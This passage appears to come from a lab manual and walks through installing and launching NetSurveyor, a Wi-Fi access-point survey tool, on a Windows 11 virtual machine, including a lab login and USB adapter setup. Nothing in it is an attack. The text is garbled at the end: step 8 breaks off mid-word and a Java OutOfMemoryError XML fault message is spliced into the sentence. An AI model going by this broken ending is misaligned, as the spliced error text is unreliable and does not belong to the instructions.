5. After the installation completes, the Completing the NetSurveyor Setup Wizard screen
appears. Ensure that the Yes, restart the computer now radio button is selected and

click Finish.

i Setup - NetSurveyor

Completing the NetSurveyor
' Setup Wizard

To complete the installation of NetSurveyor, Setup must
restart your computer. Would you like to restart now?

® Yes, restart the computer now

' No, I will restart the computer later
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6. After the system reboots, log in with the credentials Admin/PaSSwOrd.

Note: Ensure that the Linksys 802.11 g WLAN adapter is connected to the Windows 11
virtual machine.

If the adapter is not connected, unplug and plug it in again. A New USB Device Detected
window appears, select the Connect to a virtual machine radio-button, and under
Virtual Machine Name, select Windows 11; click OK.

7. Launch NetSurveyor by double-clicking the NetSurveyor shortcut from Desktop.
Note: If a User Account Control pop-up appears, click Yes.

8. NetSurveyor initializes, and a list of discovered access-points in the network appears
under the Network Disc<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>